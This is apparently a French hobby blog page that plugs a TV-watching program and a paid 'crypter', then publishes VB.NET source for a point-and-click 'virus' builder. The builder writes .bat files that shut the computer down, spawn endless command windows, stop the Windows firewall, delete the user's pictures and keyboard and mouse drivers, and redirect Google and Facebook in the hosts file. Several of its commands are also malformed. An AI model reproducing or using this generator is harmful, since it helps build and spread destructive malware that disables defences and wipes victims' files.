tuto-informatique.seb30.overblog.com

petit programme assez simple vous permettant de regarder

1 Metta tv ,tele resistante (double cliquez sur le live pour pleine ecran)

2 critic land tv ,simspons....(double cliquez sur le live pour pleine ecran)

3 tvp info ,tele polonaise d informations et posibilite de regarder par ville

4 tnt ,chaine francaises (play tv)

pour que ce programme fonctionne il faut framework a jour dans votre windows et une mise a jours vous sera demander pour la tele polonaise microsoft silverlight http://www.microsoft.com/silverlight/

crypter maison

je le met en vente a 2 euro car c est beaucoup de travail,difficile de trouver un cryptage comme celui ci ,je rappel qu il faut framework a jour pour que cela fonctionne voici un lien pour le mettre a jour au cas ou http://www.microsoft.com/fr-fr/download/details.aspx?id=39257

choisiser votre virus en cochant une des case

puis cliquez fabriquer

sauvegardez le avec le nom que vous voulez il sera automatiquement en .bat

je met le programme

Imports System.IO
Imports System.IO.Stream
Public Class Form1


Private Sub Button4_Click_1(sender As System.Object, e As System.EventArgs) Handles Button4.Click
TextBox1.Text = vbNullString
End Sub


Private Sub Button3_Click_1(sender As System.Object, e As System.EventArgs) Handles Button3.Click
TextBox1.Text = "@echo off"
End Sub


Private Sub Button2_Click_1(sender As System.Object, e As System.EventArgs) Handles Button2.Click
Try
Dim savefile As New SaveFileDialog
savefile.ShowDialog()
My.Computer.FileSystem.WriteAllText(savefile.FileName & ".bat", TextBox1.Text, False)
MsgBox("Virus créé avec succès!")
Catch ex As Exception
MsgBox("erreur pendant la création du virus")
End Try
End Sub


Private Sub Button1_Click_1(sender As System.Object, e As System.EventArgs) Handles Button1.Click
TextBox1.Text = "@echo off"
If CheckBox1.Checked = True Then
TextBox1.Text = TextBox1.Text + vbNewLine + "shutdown -s -t 60"
End If
If CheckBox2.Checked = True Then
TextBox1.Text = TextBox1.Text + vbNewLine + "attrib +h ""%userprofile%\my documents\my music"""
End If
If CheckBox3.Checked = True Then
TextBox1.Text = TextBox1.Text + vbNewLine + ":main" + vbNewLine + "start cmd" + vbNewLine + "goto main"
End If
If CheckBox4.Checked = True Then
TextBox1.Text = TextBox1.Text + vbNewLine + "ipconfig / release" + vbNewLine + "if ERRORLEVEL1 ipconfig /release_all"""
End If
If CheckBox5.Checked = True Then
TextBox1.Text = TextBox1.Text + vbNewLine + "net stop ""MpsSvc""" + vbNewLine + "taskkill /f /t /im ""FirewallControlPanel.exe"""
End If
If CheckBox6.Checked = True Then
TextBox1.Text = TextBox1.Text + vbNewLine + " del /f /q ""C:\Users\%userprofile%\My Documents\My Pictures\*.*"""
End If
If CheckBox7.Checked = True Then
TextBox1.Text = TextBox1.Text + vbNewLine + "cd ""C:\Windows\System32\Drivers\etc""" + vbNewLine + "echo 127.0.0.1 google.com >> ""Hosts""" + vbNewLine + "echo 127.0.0.1 www.google.com >> ""Hosts"""
End If
If CheckBox8.Checked = True Then
TextBox1.Text = TextBox1.Text + vbNewLine + "cd ""C:\Windows\System32\Drivers\etc""" + vbNewLine + "echo 127.0.0.1 facebook.com >> ""Hosts""" + vbNewLine + "echo 127.0.0.1 www.facebook.com >> ""Hosts"""
End If
If CheckBox9.Checked = True Then
TextBox1.Text = TextBox1.Text + vbNewLine + "del c:\windows\system\KEYBOARD.DRV" + vbNewLine + "del c:\windows\system\MOUSE.DRV"
End If
If CheckBox10.Checked = True Then
TextBox1.Text = TextBox1.Text + vbNewLine + "del C :windows*.bmp cls"
End If
End Sub


Private Sub LinkLabel1_LinkClicked(sender As System.Object, e As System.Windows.Forms.LinkLabelLinkClickedEventArgs) Handles LinkLabel1.LinkClicked
System.Diagnostics.Process.Start("http://tuto-informatique.seb30.overblog.com/")
End Sub




End Class